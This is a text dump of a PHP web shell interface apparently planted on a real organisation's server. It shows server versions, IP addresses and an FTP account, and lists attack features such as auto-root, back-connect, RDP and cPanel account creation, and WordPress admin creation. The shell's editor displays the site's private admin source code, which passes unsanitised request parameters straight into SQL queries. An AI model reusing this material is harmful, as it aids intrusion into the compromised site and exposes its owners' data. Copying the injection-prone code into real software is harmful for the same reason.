Linux server.thearyasamaj.org 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
Apache
: 103.90.241.146 | : 216.73.216.186
Cant Read [ /etc/named.conf ]
5.6.40
ftpuser@mantra.thearyasamaj.org
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
thearyasamaj /
public_html /
aryaadmin /
Archive /
[ HOME SHELL ]
Name
Size
Permission
Action
common
[ DIR ]
drwxr-xr-x
arya_AdminInclude_11-01-16.php
1002
B
-rw-r--r--
arya_AdminInclude_13-01-16.php
1.06
KB
-rw-r--r--
arya_AdminInclude_16-09-14.php
811
B
-rw-r--r--
arya_addactivities_28-03-14.ph...
16.43
KB
-rw-r--r--
arya_addadminpages_14-08-14.ph...
13.62
KB
-rw-r--r--
arya_addadmissionnotification_...
32.91
KB
-rw-r--r--
arya_addadvertisement_18-12-14...
23.42
KB
-rw-r--r--
arya_addarticle_05-08-14.php
30.03
KB
-rw-r--r--
arya_addarticle_25-11-15.php
29.99
KB
-rw-r--r--
arya_addaryasamajtab_28-03-14....
22.29
KB
-rw-r--r--
arya_addaudioalbum_28-03-14.ph...
23.93
KB
-rw-r--r--
arya_addauthor_13-09-14.php
20.12
KB
-rw-r--r--
arya_adddiscategory_28-03-14.p...
28.26
KB
-rw-r--r--
arya_adddiscover_04-08-14.php
27.41
KB
-rw-r--r--
arya_addelectionappointment_02...
16.17
KB
-rw-r--r--
arya_addengvarriable_25-03-14....
8.84
KB
-rw-r--r--
arya_addevents_26-01-16.php
50.97
KB
-rw-r--r--
arya_addevents_28-03-14.php
50.96
KB
-rw-r--r--
arya_addeventtype_28-03-14.php
29.83
KB
-rw-r--r--
arya_addfestival_23-07-14.php
30.54
KB
-rw-r--r--
arya_addfiledownload_09-12-14....
12.06
KB
-rw-r--r--
arya_addimportantplaces_28-03-...
35.98
KB
-rw-r--r--
arya_addinstituteprofile_02-10...
23.85
KB
-rw-r--r--
arya_addinstituteprofile_09-05...
23.84
KB
-rw-r--r--
arya_addinstitutetype_04-08-14...
33.23
KB
-rw-r--r--
arya_addinstitution_09-10-14.p...
56.08
KB
-rw-r--r--
arya_addlanguage_04-08-14.php
13.81
KB
-rw-r--r--
arya_addmagazines_02-01-15.php
38.12
KB
-rw-r--r--
arya_addmagazinetitle_09-10-14...
44.28
KB
-rw-r--r--
arya_addmember_29-05-14.php
37.84
KB
-rw-r--r--
arya_addmembertype_04-08-14.ph...
22.95
KB
-rw-r--r--
arya_addmobileaudio_05-12-14.p...
23.51
KB
-rw-r--r--
arya_addmobileaudio_06-01-16.p...
9.1
KB
-rw-r--r--
arya_addmobileaudio_08-01-16.p...
8.69
KB
-rw-r--r--
arya_addmobileimage_05-12-14.p...
20.91
KB
-rw-r--r--
arya_addnews_arvind-18-01-19.p...
61.42
KB
-rw-r--r--
arya_addobituary_18-10-14.php
27.42
KB
-rw-r--r--
arya_addphotogallery_28-03-14....
29.04
KB
-rw-r--r--
arya_addportalhomeslidebanner_...
11.62
KB
-rw-r--r--
arya_addportalsection_04-08-14...
22.76
KB
-rw-r--r--
arya_addportaltab_18-04-14.php
24.93
KB
-rw-r--r--
arya_addprimaryrecord_28-03-14...
47.92
KB
-rw-r--r--
arya_addproduct_28-03-14.php
20.39
KB
-rw-r--r--
arya_addradioairing_04-08-14.p...
18.93
KB
-rw-r--r--
arya_addscndtestquestions_12-1...
24.82
KB
-rw-r--r--
arya_addscndtimeline_17-12-14....
24.27
KB
-rw-r--r--
arya_addsecndryfestival_20-02-...
20.89
KB
-rw-r--r--
arya_addsecondaryactivity_18-0...
15.66
KB
-rw-r--r--
arya_addservices_28-03-14.php
17.99
KB
-rw-r--r--
arya_addstreamingbanner_28-03-...
20.97
KB
-rw-r--r--
arya_addtest_28-05-14.php
15.62
KB
-rw-r--r--
arya_addtestlevel_28-05-14.php
22.6
KB
-rw-r--r--
arya_addtestquestions_27-08-14...
45.74
KB
-rw-r--r--
arya_addtimeline_16-12-14.php
16.6
KB
-rw-r--r--
arya_addtimeline_17-12-14.php
16.92
KB
-rw-r--r--
arya_addtimeline_29-12-14.php
14.26
KB
-rw-r--r--
arya_addvacancy_27-05-14.php
34.54
KB
-rw-r--r--
arya_addvideoalbum_28-03-14.ph...
23.91
KB
-rw-r--r--
arya_addvideogallery_28-03-14....
21.82
KB
-rw-r--r--
arya_addwallpaper_28-03-14.php
9.19
KB
-rw-r--r--
arya_addwebsite_28-03-14.php
18.06
KB
-rw-r--r--
arya_adminlogin_18-03-15.php
7.26
KB
-rw-r--r--
arya_articleautoauthor_05-06-1...
342
B
-rw-r--r--
arya_articlependinglist_22-09-...
21.08
KB
-rw-r--r--
arya_autologout_15-03-14.php
1.94
KB
-rw-r--r--
arya_changepasswordpopup_05-05...
5.53
KB
-rw-r--r--
arya_ckeditor2_14-10-14.php
1.64
KB
-rw-r--r--
arya_ckeditor3_14-10-14.php
1.64
KB
-rw-r--r--
arya_downloadallfile_31-03-14....
2.06
KB
-rw-r--r--
arya_downloadfile_20-12-14.php
1.21
KB
-rw-r--r--
arya_downloadpendinglist_03-03...
24.68
KB
-rw-r--r--
arya_editactivities_28-03-14.p...
23.07
KB
-rw-r--r--
arya_editadminpages_14-08-14.p...
17.92
KB
-rw-r--r--
arya_editadmissionnotification...
40.28
KB
-rw-r--r--
arya_editadvertisement_04-08-1...
29.7
KB
-rw-r--r--
arya_editarticle_11-01-16.php
38.44
KB
-rw-r--r--
arya_editarticle_25-11-15.php
38.41
KB
-rw-r--r--
arya_editarticle_27-10-14.php
38.39
KB
-rw-r--r--
arya_editaryasamajtab_28-03-14...
21.9
KB
-rw-r--r--
arya_editaudioalbum_28-03-14.p...
28.46
KB
-rw-r--r--
arya_editauthor_04-11-14.php
24.92
KB
-rw-r--r--
arya_editdiscategory_28-03-14....
16.11
KB
-rw-r--r--
arya_editdiscover_04-08-14.php
34.54
KB
-rw-r--r--
arya_editelectionappointment_1...
20.12
KB
-rw-r--r--
arya_editelectionappointment_1...
20.06
KB
-rw-r--r--
arya_editevents_19-11-14.php
64.12
KB
-rw-r--r--
arya_editeventtype_28-03-14.ph...
20.59
KB
-rw-r--r--
arya_editfestival_28-03-14.php
38.51
KB
-rw-r--r--
arya_editfiledownload_20-12-14...
22.21
KB
-rw-r--r--
arya_editimportantplaces_18-09...
43.96
KB
-rw-r--r--
arya_editinstitutetype_04-08-1...
23.15
KB
-rw-r--r--
arya_editinstitution_01-10-15....
71.83
KB
-rw-r--r--
arya_editinstitution_02-10-15....
73.92
KB
-rw-r--r--
arya_editinstitution_09-10-14....
55.89
KB
-rw-r--r--
arya_editinstitution_29-09-15....
55.8
KB
-rw-r--r--
arya_editlanguage_04-08-14.php
16.45
KB
-rw-r--r--
arya_editmagazines_08-11-14.ph...
54.04
KB
-rw-r--r--
arya_editmagazinetitle_09-10-1...
53.82
KB
-rw-r--r--
arya_editmember_28-03-14.php
47.21
KB
-rw-r--r--
arya_editmembertype_04-08-14.p...
9.27
KB
-rw-r--r--
arya_editmlevelcategory_04-08-...
9.71
KB
-rw-r--r--
arya_editmobileaudio_06-01-16....
8.9
KB
-rw-r--r--
arya_editmobileaudio_08-01-16....
8.5
KB
-rw-r--r--
arya_editmobileaudio_11-12-14....
8.9
KB
-rw-r--r--
arya_editmobileimage_11-12-14....
9.32
KB
-rw-r--r--
arya_editmpowercategory_04-08-...
10.36
KB
-rw-r--r--
arya_editnews_05-12-14.php
70.37
KB
-rw-r--r--
arya_editnews_13-10-15.php
70.37
KB
-rw-r--r--
arya_editobituary_18_10-14.php
31.32
KB
-rw-r--r--
arya_editphotogallery_28-03-14...
22.85
KB
-rw-r--r--
arya_editportalhomeslidebanner...
13.23
KB
-rw-r--r--
arya_editportaltab_16-04-14.ph...
14.91
KB
-rw-r--r--
arya_editportaltab_17-04-14.ph...
15.18
KB
-rw-r--r--
arya_editprimaryrecord_28-03-1...
68.73
KB
-rw-r--r--
arya_editproduct_28-03-14.php
24.67
KB
-rw-r--r--
arya_editquestioncategory_04-0...
4.83
KB
-rw-r--r--
arya_editradioairing_04-08-14....
23.88
KB
-rw-r--r--
arya_editscndtestquestions_27-...
19.24
KB
-rw-r--r--
arya_editscndtimeline_17-12-14...
19.98
KB
-rw-r--r--
arya_editsecndryfestival_20-02...
15.32
KB
-rw-r--r--
arya_editsecondaryactivity_18-...
13.04
KB
-rw-r--r--
arya_editsecondaryservice_18-0...
13.08
KB
-rw-r--r--
arya_editservices_28-03-14.php
27.4
KB
-rw-r--r--
arya_editstreamingbanner_28-03...
24.27
KB
-rw-r--r--
arya_edittestquestions_27-08-1...
36.17
KB
-rw-r--r--
arya_edittestquestions_28-03-1...
34.6
KB
-rw-r--r--
arya_edittimeline_29-12-14.php
16.88
KB
-rw-r--r--
arya_editvacancy_27-05-14.php
44.08
KB
-rw-r--r--
arya_editvideoalbum_28-03-14.p...
29.72
KB
-rw-r--r--
arya_editvideogallery_28-03-14...
26.26
KB
-rw-r--r--
arya_editwallpaper_28-03-14.ph...
10.34
KB
-rw-r--r--
arya_editwebsite_28-03-14.php
22.98
KB
-rw-r--r--
arya_forgotpwd_06-05-14.php
5.37
KB
-rw-r--r--
arya_ftpfile_02-01-15.php
1.44
KB
-rw-r--r--
arya_header_29-10-14.php
7.48
KB
-rw-r--r--
arya_home_24-12-15.php
640
B
-rw-r--r--
arya_insertpamphlet_21-09-15.p...
15.51
KB
-rw-r--r--
arya_insertpamphlet_25-01-16.p...
15.51
KB
-rw-r--r--
arya_insertpamphlet_28-03-14.p...
16.01
KB
-rw-r--r--
arya_instoffpendinglist_26-05-...
19.27
KB
-rw-r--r--
arya_instpendinglist_01-10-15....
17.35
KB
-rw-r--r--
arya_instpendinglist_28-09-15....
16.42
KB
-rw-r--r--
arya_instphotoupload_18-12-14....
14.98
KB
-rw-r--r--
arya_mailinsquickupload_28-11-...
9.64
KB
-rw-r--r--
arya_memberautodelete_21-06-14...
4.96
KB
-rw-r--r--
arya_menu_14-03-16.php
13.82
KB
-rw-r--r--
arya_mgzndownload_20-12-14.php
2.06
KB
-rw-r--r--
arya_mlevelcategory_04-08-14.p...
23.69
KB
-rw-r--r--
arya_mngactivities_19-06-14.ph...
26.23
KB
-rw-r--r--
arya_mngadmin_18-06-14.php
23.63
KB
-rw-r--r--
arya_mngadminpages_19-06-14.ph...
18.29
KB
-rw-r--r--
arya_mngadmissionnotification_...
20.56
KB
-rw-r--r--
arya_mngadvertisement_19-06-14...
24.17
KB
-rw-r--r--
arya_mngarticle_03-11-14.php
80.54
KB
-rw-r--r--
arya_mngarticle_16_Dec_15.php
80.66
KB
-rw-r--r--
arya_mngauthor_13-09-14.php
22.95
KB
-rw-r--r--
arya_mngblocksequence_15-10-14...
11.64
KB
-rw-r--r--
arya_mngcity_19-06-14.php
22.76
KB
-rw-r--r--
arya_mngcountry_19-06-14.php
19.4
KB
-rw-r--r--
arya_mngcurrentadminlogin_15-0...
4.32
KB
-rw-r--r--
arya_mngdiscover_19-06-14.php
31.28
KB
-rw-r--r--
arya_mngdynamicpages_21-06-14....
18.32
KB
-rw-r--r--
arya_mngelectionappointment_11...
26.85
KB
-rw-r--r--
arya_mngelectionappointment_12...
26.84
KB
-rw-r--r--
arya_mngelectionappointment_16...
27.22
KB
-rw-r--r--
arya_mngengvariable_25-03-14.p...
20.87
KB
-rw-r--r--
arya_mngevents_19-06-14.php
43.6
KB
-rw-r--r--
arya_mngfestival_19-06-14.php
30.69
KB
-rw-r--r--
arya_mngfiledownload_12-03-15....
31.33
KB
-rw-r--r--
arya_mngfiledownload_24-09-15....
31.39
KB
-rw-r--r--
arya_mngimportantplaces_19-06-...
35.95
KB
-rw-r--r--
arya_mnginstitution_09-10-14.p...
107.28
KB
-rw-r--r--
arya_mnginstitution_29-09-15.p...
107.21
KB
-rw-r--r--
arya_mnginstmgzadmin_17-06-14....
38.8
KB
-rw-r--r--
arya_mngmagazines_08-11-14.php
25.66
KB
-rw-r--r--
arya_mngmagazinetitle_09-10-14...
51.98
KB
-rw-r--r--
arya_mngmember_03-10-15.php
76.76
KB
-rw-r--r--
arya_mngmember_09-02-16.php
77.33
KB
-rw-r--r--
arya_mngmember_16_dec_15.php
77.04
KB
-rw-r--r--
arya_mngmember_17-10-14.php
76.08
KB
-rw-r--r--
arya_mngmobileaudio_11-06-15.p...
17.53
KB
-rw-r--r--
arya_mngnews_27-11-14.php
52.54
KB
-rw-r--r--
arya_mngobituary_15-10-14.php
23.06
KB
-rw-r--r--
arya_mngperson_19-06-14.php
51.31
KB
-rw-r--r--
arya_mngpollquestions_19-06-14...
33.89
KB
-rw-r--r--
arya_mngportalhomeslidebanner_...
22.52
KB
-rw-r--r--
arya_mngproduct_19-06-14.php
19.32
KB
-rw-r--r--
arya_mngquickuploads_16-12-14....
28.25
KB
-rw-r--r--
arya_mngradioairing_19-06-14.p...
17.72
KB
-rw-r--r--
arya_mngreporter_19-06-14.php
39.48
KB
-rw-r--r--
arya_mngservices_19-06-14.php
25.44
KB
-rw-r--r--
arya_mngstate_19-06-14.php
20.19
KB
-rw-r--r--
arya_mngstreaming_19-06-14.php
21.1
KB
-rw-r--r--
arya_mngstreamingbanner_19-06-...
20.88
KB
-rw-r--r--
arya_mngtestquestions_04-12-14...
33.56
KB
-rw-r--r--
arya_mngtimeline_26-12-14.php
35.04
KB
-rw-r--r--
arya_mngvacancy_19-06-14.php
25.94
KB
-rw-r--r--
arya_mngvacancy_29-04-14.php
26.58
KB
-rw-r--r--
arya_mngvedmantra_19-06-14.php
25.09
KB
-rw-r--r--
arya_mngwallpaper_19-06-14.php
13.99
KB
-rw-r--r--
arya_mngwebsite_19-06-2014.php
19.61
KB
-rw-r--r--
arya_mobileaudiopending_11-12-...
14.4
KB
-rw-r--r--
arya_mpowercategory_04-08-14.p...
26.06
KB
-rw-r--r--
arya_newsphotoupload_31-01-15....
16.3
KB
-rw-r--r--
arya_obituaryphotos_28-03-14.p...
15.62
KB
-rw-r--r--
arya_otherlangvarriable_25-04-...
12.02
KB
-rw-r--r--
arya_pendingtabs_18-12-14.php
5.19
KB
-rw-r--r--
arya_pendingtabs_29-09-15.php
5.26
KB
-rw-r--r--
arya_persnphotoupload_28-03-14...
16.76
KB
-rw-r--r--
arya_placephotoupload_28-03-14...
16.99
KB
-rw-r--r--
arya_pushnotification_23-09-14...
6.45
KB
-rw-r--r--
arya_quickautodelete_14-05-14....
1.39
KB
-rw-r--r--
arya_quickupldpendinglist_19-1...
36.03
KB
-rw-r--r--
arya_reportpendinglist_13-05-1...
53.47
KB
-rw-r--r--
arya_searchvariablename_15-03-...
352
B
-rw-r--r--
arya_sendquickuploadmail_29-10...
4.41
KB
-rw-r--r--
arya_timelinependinglist_17-12...
28.17
KB
-rw-r--r--
arya_uploadtakeatour_28-05-14....
38.87
KB
-rw-r--r--
arya_viewadminLaPower_arvind-1...
9.24
KB
-rw-r--r--
arya_viewadminactivity_27-03-1...
9.14
KB
-rw-r--r--
arya_viewadminactivity_arvind-...
9.15
KB
-rw-r--r--
arya_viewadminhistory_arvind-1...
7.21
KB
-rw-r--r--
arya_viewadminpower_arvind-14-...
12.76
KB
-rw-r--r--
arya_viewadminprofile_arvind-1...
5.43
KB
-rw-r--r--
arya_viewnewsphotos_28-11-14.p...
7.77
KB
-rw-r--r--
arya_viewobituarymessage_15-10...
6.17
KB
-rw-r--r--
arya_viewobituaryphoto_14-03-1...
7.08
KB
-rw-r--r--
arya_viewpendingquickupload_02...
18.1
KB
-rw-r--r--
arya_viewpendingreport_09-04-1...
17.43
KB
-rw-r--r--
arya_viewquickuploads_02-10-14...
17.91
KB
-rw-r--r--
arya_viewreport_09-04-14.php
17.43
KB
-rw-r--r--
arya_wallpaper_24-02-14.php
570
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : arya_addscndtestquestions_12-12-14.php
<?php if($_SERVER['SERVER_NAME']=='www.thearyasamaj.org' || $_SERVER['SERVER_NAME']=='thearyasamaj.org') { date_default_timezone_set('Asia/Kolkata'); } include('arya_AdminInclude.php'); //created by Navneet 31-aug-2013 //header start include('arya_header.php'); //header over // link start include("arya_menu.php"); if($_GET['tstqueid']<=0) { unset($_SESSION['tstqueid']); } if($_GET['qlvid'] > 0) { $_SESSION["sellvlses"]=$_GET['qlvid']; } else { $_SESSION["sellvlses"]=$_SESSION["sellvlses"]; } if($_GET['catid'] > 0) { $_SESSION["selcatses"]=$_GET['catid']; } else { $_SESSION["selcatses"]=$_SESSION["selcatses"]; } if($_GET['sellng'] > 0) { $_SESSION['senlnid']=$_GET['sellng']; } else { $_SESSION['senlnid']=$_SESSION['senlnid']; } //unset($_SESSION['senlnid']); //unset($_SESSION['selcatses']); //unset($_SESSION['sellvlses']); //This is used for admin rights wise display field Start Added By Nitesh 04/02/2013 $admusrid=$_SESSION["adminuserid"]; $dbusercatid=getFieldValue('admcat_id','arya_adminsectionrights','admuser_id="'.$admusrid.'"'); $rightsid=mysql_query('SELECT admsecright_pageid FROM arya_adminsectionrights WHERE admcat_id IN('.$dbusercatid.') AND admuser_id="'.$admusrid.'"'); while($rightfetch=mysql_fetch_array($rightsid)) { $admcatrightsid[]=$rightfetch['admsecright_pageid']; } foreach($admcatrightsid as $key) { $qry="select * from arya_adminpage where page_sectionid='".$key."'"; $q=mysql_query($qry); while($fetch=mysql_fetch_array($q)) { $pagename=$fetch['page_filename']; $path = $_SERVER['REQUEST_URI']; $headername = basename($path); $url_parts = parse_url($headername); $constructed_url = $url_parts['scheme'] . '' . $url_parts['hostname'] . $url_parts['path']; if($constructed_url==$pagename) { $rightapprove=getFieldValue('admsecright_approve','arya_adminsectionrights','admsecright_pageid="'.$key.'" AND admuser_id="'.$admusrid.'" AND admcat_id="'.$dbusercatid.'"'); } } } $pagesecid=getFieldValue('page_sectionid','arya_adminpage','page_filename="'.$constructed_url.'"'); $modulenm=getFieldValue('page_title','arya_adminpage','page_filename="'.$constructed_url.'"'); $logindate=date('Y-m-d h:i:s'); $dtime=time(); $updtime=date('H:i:s A',$dtime); if($_GET['tstqueid']>0) { $_SESSION['tstqueid']=$_GET['tstqueid']; } if(isset($_POST['btnadd'])) { $newsrvcid=$_POST['cmbengtstque']; $ranhidid=$_POST['hidid']; $_SESSION["cmbengtestque"]=$newsrvcid; $langtid=$_SESSION['senlnid']; if($langtid!='') { $languageid=$langtid; } else { $languageid='3'; } $_SESSION["cmblang"]=$languageid; $name=$_POST['txtasecquestion']; $_SESSION['txtasecquestion']=$name; $approve=$_POST['chkapprove']; if($approve=='') { $approve='Pending'; } $visible=$_POST['chkvisible']; if($visible=='') { $visible='Yes'; } $dtime=time(); $curdate=date('Y-m-d'); $updtime=date('h:i:s A',$dtime); $webaddinstime=date('h:i A',$dtime); $nvmaxseq=getFieldValue('tque_sequence','arya_testquestions','tque_id="'.$newsrvcid.'"'); //same sequence primary record $prmrqcat=getFieldValue('qcat_id','arya_testquestions','tque_id="'.$newsrvcid.'"'); //same question category primary record $prmrstype=getFieldValue('tque_seltype','arya_testquestions','tque_id="'.$newsrvcid.'"'); //same select type primary record $prmrsopt=getFieldValue('tque_seloption','arya_testquestions','tque_id="'.$newsrvcid.'"'); //same select option primary record $postqlevel=getFieldValue('tl_id','arya_testquestions','tque_id="'.$newsrvcid.'"'); //same level primary record $postqcurans=getFieldValue('tque_currectans','arya_testquestions','tque_id="'.$newsrvcid.'"'); //same level primary record if($_SERVER['SERVER_NAME']=='www.thearyasamaj.org' || $_SERVER['SERVER_NAME']=='thearyasamaj.org') { if(find_scripttags($name)=="Yes") { RedirecPage('arya_addscndtestquestions.php?sellng='.$_SESSION['senlnid'].'&tstqueid='.$_GET['tstqueid'].'&msg=empname'); } if(find_scripttags($briefdes)=="Yes") { RedirecPage('arya_addscndtestquestions.php?sellng='.$_SESSION['senlnid'].'&tstqueid='.$_GET['tstqueid'].'&msg=empbriefinfo'); } } if($name!="") { $insqryservice="insert into arya_testquestions(tque_randid,newtque_id,lang_id,tl_id,qcat_id,tque_seltype,tque_seloption,tque_question,tque_currectans,tque_showhome,tque_visible,tque_sequence,user_id,tque_curdate)values('".$ranhidid."','".$newsrvcid."','".$languageid."','".$postqlevel."','".$prmrqcat."','".$prmrstype."','".$prmrsopt."','".$name."','".$postqcurans."','".$approve."','".$visible."','".$nvmaxseq."','".$admusrid."','".$logindate."')"; $qryservice=mysql_query($insqryservice); if($qryservice) { $insertId=mysql_insert_id(); getadminactivity('title_addscndtestquestion',$pagesecid,$_SESSION["adminuserid"],$_SERVER["REMOTE_ADDR"],$name,$logindate,$logindate); for($i=1;$i<9;$i++) { $posttext[]=$_POST["txtsmname".$i]; if($i==1) { $qryInsText="INSERT INTO arya_testquestionsphoto(tque_id,tquephoto_text1) values('".$insertId."','".$posttext[0]."')"; $resqry=mysql_query($qryInsText); $insertextid=mysql_insert_id(); $_SESSION["txtinsertid"]=$insertextid; } else { $qryUpdatetext = "UPDATE arya_testquestionsphoto SET tquephoto_text$i='".$posttext[$i-1]."'WHERE tquephoto_id='".$_SESSION["txtinsertid"]."'"; $qUpdatetext = mysql_query($qryUpdatetext); } } //unset($_SESSION['senlnid']); $msg=$msgInserRecord; } } else { $msg="Please Fill Form."; //RedirecPage('arya_addscndtestquestions.php?sellng='.$_GET['sellng'].'&tstqueid='.$_GET['tstqueid'].'&msg=empname'); } } ?> <?php $classname='class="txtbox"'; $classbriefdes='class="txtbox"'; if($_GET['msg']=="empname") { $emtttle=$lbl_errmenmsg." ".$lbl_servicenm; $msg=$emtttle; $classname='class="errtxtengbord"'; } else if($_GET['msg']=='errname') { $emtttle=$lbl_errvalidmsg." ".$lbl_servicenm; $msg=$emtttle; $classname='class="errtxtengbord"'; } else if($_GET['msg']=='empbriefinfo') { $emtttle=$lbl_errvalidmsg." ".'Brief Information'; $msg=$emtttle; $classbriefdes='class="errtxtengbord"'; } else if($_GET['msg']=='errbriefinfo') { $emtttle=$lbl_errvalidmsg." ".'Brief Information'; $msg=$emtttle; $classwebadd='class="errtxtengbord"'; } else { unset($_SESSION['txtasecquestion']); unset($_SESSION['txtbriefdes']); unset($_SESSION['FckContent']); unset($_SESSION['chkapproveno']); unset($_SESSION['chkapproveyes']); unset($_SESSION['chkvisibleno']); unset($_SESSION['chkvisibleyes']); unset($_SESSION["cmbengtestque"]); //unset($_SESSION["cmblang"]); } /*if($_SESSION['chkapproveyes']=="" && $_SESSION['chkapproveno']=="") { $_SESSION['chkapproveyes']="checked='true'"; } if($_SESSION['chkvisibleyes']=="" && $_SESSION['chkvisibleno']=="") { $_SESSION['chkvisibleyes']="checked='true'"; }*/ ?> <script language="JavaScript"> function ChangeLangTestQues(lngid,lvlid,cateid,tstqueid) { <?php unset($_SESSION["cmbengtestque"]); //unset($_SESSION["cmblang"]); ?> var str=(lngid); var ne=str.split(","); newLng= ne[1].replace(/^\s*/, "").replace(/\s*$/, ""); if(newLng>0) { if(tstqueid > 0 || lvlid > 0 || cateid > 0) { window.location.href ="arya_addscndtestquestions.php?sellng="+newLng+"&qlvid="+lvlid+"&catid="+cateid+"&tstqueid="+tstqueid; } else { window.location.href ="arya_addscndtestquestions.php?sellng="+newLng; } } } function ChangeTestQues(lngid,lvlid,cateid,tstqueid) { <?php unset($_SESSION["cmbengtestque"]); //unset($_SESSION["cmblang"]); ?> window.location.href ="arya_addscndtestquestions.php?sellng="+lngid+"&qlvid="+lvlid+"&catid="+cateid+"&tstqueid="+tstqueid; } </script> <?php $lngid=$_SESSION['senlnid']; if($_SESSION['senlnid'] > 0) { if($_SESSION['senlnid'] > 0) { $lngname=getFieldValue('lang_name','arya_language','lang_id="'.$_SESSION['senlnid'].'"'); } else { $lngname="Gujarati"; } } else { $lngid='3'; $lngname="Gujarati"; } //when select english primary record start $qryselservice="select * from arya_testquestions where tque_id='".$_GET['tstqueid']."'"; $qselservice=mysql_query($qryselservice); $fetchsrvc=mysql_fetch_array($qselservice); $tstqueid=$fetchsrvc['tque_id']; $qrandid=$fetchsrvc['tque_randid']; $name=$fetchsrvc['tque_question']; $tstimage=$fetchsrvc['tque_photo']; $tstseltype=$fetchsrvc['tque_seltype']; $exparray=$fetchsrvc['tque_currectans']; $getcurrectans=explode(',' ,$exparray); //print_r($getcurrectans); $h=0; for($y=1; $y<9; $y++) { $subssss = substr($getcurrectans[$h],14); if($subssss == $y) { $currectans[]=getFieldValue($getcurrectans[$h],'arya_testquestionsphoto','tque_id="'.$tstqueid.'"'); $h++; } else { $currectans[]=$y; } } //print_r($currectans); //$currectans=getFieldValue($getcurrectans[0],'arya_testquestionsphoto','tque_id="'.$tstqueid.'"'); if($tstseltype=='Yes') { $tstseltypeval="Single"; } else if($tstseltype=='No') { $tstseltypeval="Multiple"; } $tstseloptn=$fetchsrvc['tque_seloption']; if($tstseloptn=='Yes') { $tstseloptnval="Text"; } else if($tstseloptn=='No') { $tstseloptnval="Photos"; } for($i=1;$i<9;$i++) { $textval[]=getFieldValue('tquephoto_text'.$i.'','arya_testquestionsphoto','tque_id="'.$tstqueid.'"'); $imageval[]=getFieldValue('tquephoto_photo'.$i.'','arya_testquestionsphoto','tque_id="'.$tstqueid.'"'); } $tst_approve=$fetchsrvc['tque_showhome']; if($tst_approve=='Pending') { $shwhomepan='checked="checked"'; } else if($tst_approve=='Approve') { $shwhomeapp='checked="checked"'; } else if($tst_approve=='Rejected') { $shwhomerej='checked="checked"'; } else { $shwhomeapp='checked="checked"'; } $tst_visible=$fetchsrvc['tque_visible']; if($tst_visible=='Yes') { $chkvsblyes='checked="checked"'; } else if($tst_visible=='No') { $chkvsblno='checked="checked"'; } else { $chkvsblyes='checked="checked"'; } //when select english primary record end if($_GET['tstqueid']>0 && $_GET['sellng']>1) { $qryselservice="select * from arya_testquestions where newtque_id='".$_GET['tstqueid']."' and lang_id='".$_GET['sellng']."'"; $qselservice=mysql_query($qryselservice); $fetchsrvc=mysql_fetch_array($qselservice); $othername=$fetchsrvc['tque_question']; $othertstqueid=$fetchsrvc['tque_id']; for($i=1;$i<9;$i++) { $othertextval[]=getFieldValue('tquephoto_text'.$i.'','arya_testquestionsphoto','tque_id="'.$othertstqueid.'"'); } } ?> <style> .tableborder td{ border: 1px solid #CFCFCF; border-collapse:collapse; padding:5px; } .noborder td{ border:none; } </style> <?php if($_GET['tstqueid']>0) { $width='width="20%"'; $tblwidth='width="80%"'; $border='border="0" class="tableborder" '; $vartrtd=""; } else { $width='width="46%"'; $tblwidth='width="100%"'; $border='border="0"'; $vartrtd='<tr><td height="5" colspan="3" ></td></tr>'; } function GetTestQuesName($quesid,$qlvlid,$qcatid,$langid) //this function use for get Primary Test Question List date:25/10/2013 { if($langid!="") { $sel_query12="SELECT * FROM arya_testquestions where lang_id='".$langid."'"; $resselquery=mysql_query($sel_query12); $i=1; while($selrow=mysql_fetch_array($resselquery)) { if($i==1) { $srvcid12 .=$selrow['newtque_id']; } else { $srvcid12 .=", ".$selrow['newtque_id']; } $i++; } } if($srvcid12=="") { $srvcidids=""; } else { $srvcidids="AND tque_id NOT IN(".$srvcid12.")"; } if($qlvlid > 0 && $qcatid > 0 && $langid > 0) { $tstqueid=""; $sel_query="SELECT * FROM arya_testquestions where tl_id='".$qlvlid."' AND qcat_id='".$qcatid."' AND lang_id='1' AND tque_showhome='Approve' AND newtque_id=0 $srvcidids"; $newresqry=mysql_query($sel_query); } else if($qlvlid > 0 && $qcatid > 0) { $tstqueid=""; $sel_query="SELECT * FROM arya_testquestions where tl_id='".$qlvlid."' AND qcat_id='".$qcatid."' AND tque_showhome='Approve' AND newtque_id=0 $srvcidids"; $newresqry=mysql_query($sel_query); } else if($qlvlid > 0 && $qcatid == 0) { $tstqueid=""; $sel_query="SELECT * FROM arya_testquestions where tl_id='".$qlvlid."' AND tque_showhome='Approve' AND newtque_id=0 $srvcidids"; $newresqry=mysql_query($sel_query); } else if($qlvlid == 0 && $qcatid > 0) { $tstqueid=""; $sel_query="SELECT * FROM arya_testquestions where qcat_id='".$qcatid."' AND tque_showhome='Approve' AND newtque_id=0 $srvcidids"; $newresqry=mysql_query($sel_query); } else if($qlvlid == 0 && $qcatid == 0 && $langid > 0) { $tstqueid=""; $sel_query="SELECT * FROM arya_testquestions where lang_id='1' AND tque_showhome='Approve' AND newtque_id=0 $srvcidids"; $newresqry=mysql_query($sel_query); } /*else if($qlvlid == 0 && $qcatid > 0 && $langid > 0) { $tstqueid=""; $sel_query="SELECT * FROM arya_testquestions where qcat_id='".$qcatid."' AND lang_id='".$langid."' AND newtque_id=0"; $newresqry=mysql_query($sel_query); } else if($qlvlid == 0 && $qcatid == 0 && $langid > 0) { $tstqueid=""; $sel_query="SELECT * FROM arya_testquestions where lang_id='".$langid."' AND newtque_id=0"; $newresqry=mysql_query($sel_query); } else if($qlvlid > 0 && $qcatid == 0 && $langid > 0) { $tstqueid=""; $sel_query="SELECT * FROM arya_testquestions where tl_id='".$qlvlid."' AND lang_id='".$langid."' AND newtque_id=0"; $newresqry=mysql_query($sel_query); }*/ else { $tstqueid=""; $sel_query="SELECT * FROM arya_testquestions WHERE tque_showhome='Approve' AND newtque_id=0 $srvcidids"; $newresqry=mysql_query($sel_query); } while($sel_row1=mysql_fetch_array($newresqry)) { $getquesid = $sel_row1['tque_id']; $newgetquesid = $sel_row1['newtque_id']; $randquesid = $sel_row1['tque_randid']; $questionnm = $sel_row1['tque_question']; $selected=($sel_row1['tque_id'] == $quesid)?" selected":""; $select_box.="<option 